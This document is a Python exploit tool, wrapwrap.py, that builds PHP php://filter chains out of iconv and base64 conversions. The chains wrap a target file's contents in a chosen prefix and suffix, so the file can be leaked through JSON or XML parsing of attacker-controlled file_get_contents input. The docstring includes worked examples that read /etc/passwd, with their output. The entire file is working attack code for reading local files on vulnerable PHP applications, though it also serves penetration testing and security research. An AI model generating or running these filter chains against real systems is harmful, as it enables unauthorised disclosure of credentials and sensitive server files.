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wrapwrap.py
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wrapwrap.py
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#!/usr/bin/env python3
"""
# DESCRIPTION
Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.
For instance, if /tmp/test.txt contains ABCDEF, the tool can generate a filter chain that returns:
<arbitrary-prefix>ABCDEF<arbitrary-suffix>
It is useful in cases such as:
$data = file_get_contents($controlled);
$data = json_decode($data);
echo $data->message;
or:
$xml = file_get_contents($controlled);
$movies = new SimpleXMLElement($xml);
echo $movies->movie[0]->plot;
# EXAMPLE
To solve the first example:
$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 200
[*] Dumping 207 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=152464).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
{"message":"root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/sbin/nologin=0Asys:x:3:3:sys:/dev:/usr/sbin/nologin=0Async:x:4:65534:sync:/bin:/bin/sync=0Agames:x:"}
To solve the second example:
$ ./wrapwrap.py /etc/passwd '<movies><movie><plot>' '</plot></movie></movies>' 100
[*] Dumping 108 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=88781).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
<root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>
# REQUIREMENTS
Requires ten (https://github.com/cfreal/ten).
$ pip install ten
# IMPROVEMENTS
- Let user pick encoding method for the original payload: QPE, B64, RAW
- Add option to gzip/bzip contents
- Add start parameter that decides how many bytes to discard.
- Improve alignment requirements to make nb_bytes not have to be divisible by 9
- Add the `test` parameter, that tests the payload
ACKNOWLEDGEMENT
Built by cfreal.
This is based on the work of many individuals, the most recent being
https://github.com/synacktiv/php_filter_chain_generator by remsio.
"""
from ten import *
from dataclasses import dataclass
@entry
@arg("path", "Path to the file")
@arg("nb_bytes", "Number of bytes to dump. It will be aligned with 9")
@arg("prefix", "A string to write before the contents of the file")
@arg("suffix", "A string to write after the contents of the file")
@arg("output", "File to write the payload to. Defaults to chain.txt")
@arg("padding_character", "Character to pad the prefix and suffix. Defaults to `M`.")
@arg("from_file", "If set, prefix and suffix indicate files to load their value from, instead of the value itself")
@dataclass
class WrapWrap:
"""Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.
Example:
$ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
[*] Dumping 108 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=88781).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
<root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>
"""
path: str
prefix: str
suffix: str
nb_bytes: int
output: str = "chain.txt"
padding_character: str = "M"
from_file: bool = False
def run(self) -> None:
if self.from_file:
self.prefix = self.prefix and read_bytes(self.prefix)
self.suffix = self.suffix and read_bytes(self.suffix)
else:
self.prefix = self.prefix.encode()
self.suffix = self.suffix.encode()
self.filters = []
if self.suffix:
self.compute_nb_chunks()
self.prelude()
self.add_suffix()
self.pad_suffix()
self.add_prefix()
self.postlude()
else:
if self.nb_bytes:
msg_warning(f"Ignoring [i]nb_bytes[/] value since there is no suffix")
self.add_simple_prefix()
filters = "|".join(self.filters)
payload = f"php://filter/{filters}/resource={self.path}"
Path(self.output).write(payload)
msg_success(f"Wrote filter chain to [b]{self.output}[/] (size={len(payload)}).")
def add_simple_prefix(self):
"""Just adds a prefix.
"""
self / B64E / REMOVE_EQUAL
prefix = self.align_right(self.prefix, 3)
prefix = self.b64e(prefix)
for char in reversed(prefix):
self.push_char_safely(char)
self / B64D
def compute_nb_chunks(self) -> None:
real_stop = self.align_value(self.nb_bytes, 9)
self.nb_chunks = int(real_stop / 9 * 4)
msg_info(f"Dumping [i]{real_stop}[/] bytes from [b]{self.path}[/].")
def __truediv__(self, filters: str) -> None:
self.filters.append(filters)
return self
def push_char(self, c: bytes) -> None:
if isinstance(c, int):
c = bytes((c,))
return self / self.conversions[c] / B64D / B64E
def push_char_safely(self, c: bytes) -> None:
self.push_char(c) / REMOVE_EQUAL
def pad(self) -> None:
"""Pads the content of the file with some garbage to make sure we don't trim
part of the file when aligning.
"""
TIMES = 3
self / B64E
for _ in range(TIMES):
self / B64E
self / REMOVE_EQUAL
for _ in range(TIMES):
self / B64D
self / REMOVE_EQUAL
self / B64D
def align(self) -> None:
"""Makes the B64 payload have a size divisible by 3.
The second B64 needs to be 3-aligned because the third needs to be 4-aligned.
"""
self / B64E / QPE / REMOVE_EQUAL
self.push_char(b"A")
self / QPE / REMOVE_EQUAL
self.push_char(b"A")
self / QPE / REMOVE_EQUAL
self.push_char_safely(b"A")
self.push_char_safely(b"A")
self / B64D
def escape(self) -> None:
"""Escapes the payload to make it safe for display."""
# TODO make configurable: B64 is better in some cases, if the file is binary
self / QPE
def prelude(self) -> None:
"""Adds trailing garbage, escapes the content, and properly aligns it."""
self.pad()
self.escape()
self / B64E / B64E
self.align()
self / "convert.iconv.437.UCS-4le"
def add3_swap(self, triplet: bytes) -> None:
assert len(triplet) == 3, f"add3 called with: {triplet}"
b64 = self.b64e(triplet)
self / B64E
self.push_char(b64[3])
self.push_char(b64[2])
self.push_char(b64[1])
self.push_char(b64[0])
self / B64D
self / SWAP4
def b64e(self, value: bytes, strip: bool = False) -> bytes:
value = tf.base64.encode(value)
if strip:
while value.endswith("="):
value = value.removesuffix("=")
return value.encode()
def add_suffix(self) -> None:
"""Adds a suffix to the string, along with the <LF>0<LF> that marks the end of
chunked data.
"""
self.add3_swap("\n0\n")
suffix_b64 = self.b64e(self.suffix)
reverse = False
for chunk in reversed(list(niter(suffix_b64, 2))):
chunk = self.b64e(chunk, strip=True)
chunk = self.set_lsbs(chunk)
if reverse:
chunk = chunk[::-1]
self.add3_swap(chunk)
reverse = not reverse
def pad_suffix(self) -> None:
"""Moves the suffix up the string."""
for _ in range(self.nb_chunks * 4 + 2):
# This is not a random string: it minimizes the size of the payload
self.add3_swap("\x08\x29\x02")
def add_prefix(self) -> None:
self / B64E
prefix = self.align_right(self.prefix, 3)
prefix = self.b64e(prefix)
prefix = self.align_right(prefix, 3 * 3, "\x00")
prefix = self.b64e(prefix)
size = int(
len(self.b64e(self.suffix)) / 2 * 4
+ self.nb_chunks * 4 * 4
+ 2
+ 7
+ len(prefix)
)
chunk_header = self.align_left(f"{size:x}\n".encode(), 3, "0")
b64 = self.b64e(chunk_header + prefix)
for char in reversed(b64):
self.push_char_safely(char)
def postlude(self) -> None:
self / B64D / "dechunk" / B64D / B64D
def set_lsbs(self, chunk: bytes) -> bytes:
"""Sets the two LS bits of the given chunk, so that the caracter that comes
after is not ASCII, and thus not a valid B64 char. A double decode would
therefore "remove" that char.
"""
char = chunk[2]
alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
index = alphabet.find(char)
return chunk[:2] + alphabet[index + 3: index + 3 + 1]
def align_right(self, input_str: bytes, n: int, p: str = None) -> bytes:
"""Aligns the input string to the right to make its length divisible by n, using
the specified pad character.
"""
p = p or self.padding_character
p = p.encode()
padding_size = (n - len(input_str) % n) % n
aligned_str = input_str.ljust(len(input_str) + padding_size, p)
return aligned_str
def align_left(self, input_str: bytes, n: int, p: str = None) -> bytes:
"""Aligns the input string to the left to make its length divisible by n, using
the specified pad character.
"""
p = p or self.padding_character
p = p.encode()
aligned_str = input_str.rjust(self.align_value(len(input_str), n), p)
return aligned_str
@staticmethod
def align_value(value: int, div: int) -> int:
return value + (div - value % div) % div
conversions = {
b"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
b"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
b"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
b"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
b"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
b"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
b"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
b"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
b"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
b"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
b"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
b"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
b"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
b"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
b"C": "convert.iconv.UTF8.CSISO2022KR",
b"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
b"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
b"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
b"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
b"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
b"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
b"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
b"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
b"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
b"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
b"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
b"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
b"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
b"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
b"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
b"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
b"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
b"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
b"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
b"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
b"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
b"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
b"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
b"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
b"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
b"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
b"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
b"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
b"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
b"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
b"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
b"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
b"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
b"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
b"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
b"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
b"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
b"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
b"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
b"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
b"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
b"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
b"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
b"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
b"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
b"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
b"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
b"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
b"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
}
# Constants
B64D = "convert.base64-decode"
B64E = "convert.base64-encode"
QPE = "convert.quoted-printable-encode"
REMOVE_EQUAL = "convert.iconv.855.UTF7"
SWAP4 = "convert.iconv.UCS-4.UCS-4LE"
WrapWrap()